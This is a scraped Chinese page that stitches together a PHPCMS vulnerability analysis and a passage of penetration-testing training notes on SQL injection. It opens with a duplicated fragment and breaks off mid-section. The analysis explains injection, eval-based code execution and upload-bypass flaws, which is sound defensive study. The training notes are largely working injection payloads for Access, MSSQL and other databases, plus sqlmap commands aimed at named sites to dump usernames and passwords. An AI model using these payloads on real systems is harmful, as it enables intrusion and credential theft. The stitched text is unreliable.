(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:

第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");

}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS
滲透測試培訓Day14 SQL注入之Oracle,MongoDB等注入
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 301 次瀏覽 ? 2022-06-23 12:24
我喜歡一個(gè)人
就像喜歡一陣風(fēng)
藏在你心里
習桑前言
SQL作用在關(guān)系型數據庫上面什么是關(guān)系型數據庫?關(guān)系型數據庫是由一張張的二維表組成的?常見(jiàn)的關(guān)系型數據庫廠(chǎng)商有?MySQL、SQLite、SQL?Server、Oracle?由于MySQL是免費的?所以企業(yè)一般用MySQL的居多?Web?SQL是前端的數據庫?它也是本地存儲的一種?使用SQLite實(shí)現?SQLite是一種輕量級數據庫?它占的空間小?支持創(chuàng )建表,插入、修改、刪除表格數據?但是不支持修改表結構?如刪掉一縱列?修改表頭字段名等?但是可以把整張表刪了?同一個(gè)域可以創(chuàng )建多個(gè)DB?每個(gè)DB有若干張表。與數據庫產(chǎn)生交互就有可能存在注入攻擊不只是MySQL數據庫還有Oracle,MongoDB等數據庫也可能會(huì )存在注入攻擊
簡(jiǎn)要學(xué)習各種數據庫的注入特點(diǎn)
數據庫架構組成,數據庫高權限操作
簡(jiǎn)要了解各數據庫
Access,Mysqlmssql(Microsoft?SQL?server)mongoDB,postgresqlsqlite,oracle,sybase等<br />Access 表名 列名 數據<br />Access數據庫保存在網(wǎng)站源碼下面自己網(wǎng)站數據庫獨立存在所以無(wú)法進(jìn)行跨庫也沒(méi)有文件讀寫(xiě)的操作
除了Access其他數據庫組成架構基本都是大同小異。<br />mysql mssql等數據庫名A 表名列名 數據 數據庫名B。。。。。。<br />每個(gè)數據庫功能不同,我們采取注入的時(shí)候攻入方式不同<br />什么決定網(wǎng)站注入點(diǎn)用戶(hù)權限?數據庫配置文件的用戶(hù),是誰(shuí)連接的
Access偏移注入
如果遇到列名猜解不到的情況,則可以使用Access偏移注入原理<br />借用數據庫的自連接查詢(xún)讓數據庫內部發(fā)生亂序從而偏移出所需要的字段在我們的頁(yè)面上顯示用途<br />解決知道Access數據庫中知道表名,但是得不到字段的sql注入困境特點(diǎn)<br />a. 成功與否看技巧與運氣,不能保證100%成功。b. 無(wú)需管理員賬號密碼字段,直接爆賬號密碼利用條件<br />a. 已知管理表名b. 已知任意字段(一個(gè)或多個(gè)會(huì )增加機率,最常見(jiàn)的就是id)影響偏移注入成功因素<br />a. 管理表的字段數越少越好(最好是三個(gè):id 賬號字段 密碼字段)b. 當前注入點(diǎn)的腳本內查詢(xún)的表內的字段數越多越好流程<br />a. 判斷字段數b. 判斷表名c. 開(kāi)始偏移注入<br />
本地Access偏移注入靶場(chǎng)
偏移量就是逐步增加或遞減直到出現結果。*表示可代替的字符串用*代替22,返回界面依舊報錯然后用*代替21,依次遞減22-16=6,6表示該表中的列名個(gè)數
*代表6個(gè),后面一串字符代表兩倍,就相當于2倍*,12個(gè)
爆列名數據
一級偏移語(yǔ)句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)二級偏移語(yǔ)句:union?select?1,2,3,4,a.id,b.id,c.id,*?from?((admin?as?a?inner?join?admin?as?b?on?a.id?=?b.id)inner?join?admin?as?c?on?a.id=c.id)
二級偏移,3倍*,所以為18個(gè)
查看登錄框源代碼的表單值或觀(guān)察URL特征等也可以針對表或列獲取不到的情況猜解表名可能是ZB_admin,觀(guān)察網(wǎng)站地址特征,是否有前綴。
或者看登錄框表單值
SQL server/MSSQL注入
7.1介紹
Microsoft SQL Server 是一個(gè)全面的數據庫平臺,使用集成的商業(yè)智能 (BI)工具提供了企業(yè)級的數據管理。Microsoft SQL Server 數據庫引擎為關(guān)系型數據和結構化數據提供了更安全可靠的存儲功能,使您可以構建和管理用于業(yè)務(wù)的高可用和高性能的數據應用程序。
7.2過(guò)程
?、倥袛鄶祿祛?lèi)型
and exists (select * from sysobjects)--返回正常為mssql(也名sql server)and exists (select count(*) from sysobjects)--有時(shí)上面那個(gè)語(yǔ)句不行就試試這個(gè)哈
?、谂袛鄶祿彀姹?br /> and?1=@@version--這個(gè)語(yǔ)句要在有回顯的模式下才可以哦and?substring((select??@@version),22,4)='2008'--適用于無(wú)回顯模式,后面的2008就是數據庫版本,?????????返回正常就是2008的復制代碼第一條語(yǔ)句執行效果圖(類(lèi)似):第二條語(yǔ)句執行效果圖:(如果是???????????? 2008的話(huà)就返回正常)
?、郢@取所有數據庫的個(gè)數 (一下3條語(yǔ)句可供選擇使用)
1. and 1=(select quotename(count(name)) from master..sysdatabases)--2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --???and?1=(select?cast(count(name)?as?varchar)%2bchar(1)?from?master..sysdatabases?where?dbid>5)?--說(shuō)明:dbid從1-4的數據庫一般為系統數據庫.
?、莴@取數據庫 (該語(yǔ)句是一次性獲取全部數據庫的,且語(yǔ)句只適合>=2005,兩條語(yǔ)句可供選擇使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--?and?1=(select?'|'%2bname%2b'|'?from?master..sysdatabases?FOR?XML?PATH(''))--
?、瞢@取當前數據庫
and db_name()>0and 1=(select db_name())--
?、攉@取當前數據庫中的表(有2個(gè)語(yǔ)句可供選擇使用)【下列語(yǔ)句可一次爆數據庫所有表(只限于 mssql2005及以上版本)】
and?1=(select?quotename(name)?from?數據庫名..sysobjects?where?xtype='U'?FOR?XML?PATH(''))--?and?1=(select?'|'%2bname%2b'|'?from?數據庫名..sysobjects?where?xtype='U'??FOR?XML?PATH(''))--
?、喃@得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本):and?1=(select?quotename(name)?from?數據庫名..syscolumns?where?id?=(select??id?from?數據庫名..sysobjects?where?name='指定表名')?FOR?XML?PATH(''))--?and?1=(select?'|'%2bname%2b'|'?from?數據庫名..syscolumns?where?id?=(select??id?from?數據庫名..sysobjects?where?name='指定表名')?FOR?XML?PATH(''))--
?、岖@取指定數據庫中的表的列的數據庫
逐條爆指定表的所有字段的數據(只限于mssql2005及以上版本):and?1=(select?top?1?*?from?指定數據庫..指定表名?where排除條件?FOR?XML?PATH(''))--一次性爆N條所有字段的數據(只限于mssql2005及以上版本):and?1=(select?top?N?*?from?指定數據庫..指定表名?FOR?XML?PATH(''))--復制代碼第一條語(yǔ)句:and 1=(select top 1 * from 指定數據庫..指定表名 FOR XML PATH(''))--測試效果圖:----------------------------------加上where條件篩選結果出來(lái)會(huì )更加好,如:where and name like '%user%'??就會(huì )篩選出含有user關(guān)鍵詞的出來(lái)。用在篩選表段時(shí)很不錯。
轉自:http://www.myhack58.com/Articl ... 6.htm
PostgraSQL注入原理
https://www.webshell.cc/524.ht ... a2c2e
Oracle注入
https://www.cnblogs.com/peterp ... .html
MongoDB注入
https://blog.csdn.net/weixin_3 ... .html
各數據庫手工注入
MySQL:1.找到注入點(diǎn) and 1=1 and 1=2 測試報錯2.order by 5 # 到5的時(shí)候報錯,獲取字段總數為43.id=0(不是1就行,強行報錯) union select 1,2,3,4 # 聯(lián)合查詢(xún),2和3可以顯示信息4.獲取數據庫信息user() ==>rootdatabase() ==>mozhe_Discuz_StormGroupversion() ==>5.7.22-0ubuntu0.16.04.15.獲取數據庫表table_name 表名information_schema.tables 系統生成信息表table_schema=數據庫名16進(jìn)制或者用單引號括起來(lái)改變limit 0,1中前一個(gè)參數,得到兩個(gè)表 StormGroup_member notice6.獲取列名結果如下 id,name,password,status7.脫褲<br />Access:1.and 1=2 報錯找到注入點(diǎn)2.order by 獲取總字段3.猜解表名 and exists (select * from admin) 頁(yè)面返回正常,說(shuō)明存在admin表4.猜解列名 and exists(select id from admin) 頁(yè)面顯示正常,admin表中存在id列 username,passwd 同樣存在5.脫褲 union select 1,username,passwd,4 from adminMSSQL:1.and 1=2報錯2.order by N# 獲取總字段3.猜表名 and exists(select * from manage) 表名manage存在4.猜解列名 and exists(select id from manage) 列名id存在,同樣username,password也存在5.脫褲 and exists (select id from manage where id=1 ) 證明id=1存在and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段長(cháng)度為8and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段長(cháng)度為16可用Burp的Intruder功能輔助猜解猜解username第1到8位的字符,ASCII轉碼 admin_mz猜解password第1到16位的字符,ASCII轉碼(Burp 爆破)轉ASCII的py腳本:72e1bfc3f01b7583 MD5解密為97285101<br />SQLite:1.找注入點(diǎn) and 1=12.order by N 猜字段 43.猜數據庫offset ==>0~2有三個(gè)數據庫:WSTMart_regnotice_sybasesqlite_sequence4.猜列共有3個(gè)字段:id,name,password5.脫褲<br />MongoDB:1.id=1′ 單引號注入報錯2.閉合語(yǔ)句,查看所有集合3.查看指定集合的數據[0] 代表第一條數據,可遞增<br />DB2:1.and 1=2 判斷注入點(diǎn)2.order by N 獲取字段數3.爆當前數據庫GAME_CHARACTER4.列表NAME5.脫褲<br />PostgreSQL:1.and 1=2 判斷注入點(diǎn)2.order by N 獲取字段3.爆數據庫4.列表5.列字段6.拖庫<br />Sybase數據庫:1.and 1=2 判斷注入點(diǎn)2.order by N 獲取總字段3.爆數據庫4.列表5.列字段6.查狀態(tài)結果為:zhang7.反選爆用戶(hù)名結果為:mozhe8.猜解密碼<br />Oracle:1.and 1=12.order by3.爆數據庫4.列表5.列字段6.拖庫加上狀態(tài):1 where STATUS=1
簡(jiǎn)要學(xué)習各種注入工具的使用指南
熟悉工具的主持庫,注入模式,優(yōu)缺點(diǎn)等sqlmap,NoSQLAttack,Pangolin等
sqlmap基本操作sqlmap簡(jiǎn)介sqlmap支持五種不同的注入模式:
1、基于布爾的盲注即可以根據返回頁(yè)面判斷條件真假的注入2、基于時(shí)間的盲注即不能根據頁(yè)面返回內容判斷任何信息用條件語(yǔ)句查看時(shí)間延遲語(yǔ)句是否執行(即頁(yè)面返回時(shí)間是否增加)來(lái)判斷。3、基于報錯注即頁(yè)面會(huì )返回錯誤信息或者把注入的語(yǔ)句的結果直接返回在頁(yè)面中4、聯(lián)合查詢(xún)注入可以使用union的情況下的注入5、堆查詢(xún)注入可以同時(shí)執行多條語(yǔ)句的執行時(shí)的注入
sqlmap支持的數據庫有:
MySQL,?Oracle,?PostgreSQLMicrosoft?SQL?ServerMicrosoft?Access,?IBM?DB2SQLite,?Firebird,Sybase和SAP?MaxDB
檢測注入:
基本格式sqlmap -u “http://www.vuln.cn/post.php?id=1”默認使用level1檢測全部數據庫類(lèi)型sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3指定數據庫類(lèi)型為mysql,級別為3(共5級,級別越高,檢測越全面)跟隨302跳轉當注入頁(yè)面錯誤的時(shí)候,自動(dòng)跳轉到另一個(gè)頁(yè)面的時(shí)候需要跟隨302,當注入錯誤的時(shí)候,先報錯再跳轉的時(shí)候,不需要跟隨302。目的就是:要追蹤到錯誤信息。
cookie注入
當程序有防get注入的時(shí)候,可以使用cookie注入sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level達到2才會(huì )檢測cookie)
從post數據包中注入
可以使用burpsuite或者temperdata等工具來(lái)抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username參數
注入成功后
獲取數據庫基本信息sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs查詢(xún)有哪些數據庫sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables查詢(xún)test數據庫中有哪些表sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns查詢(xún)test數據庫中admin表有哪些字段sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username與password中的數據其他命令參考下面從數據庫中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms數據庫中搜索字段admin或者password。
讀取與寫(xiě)入文件
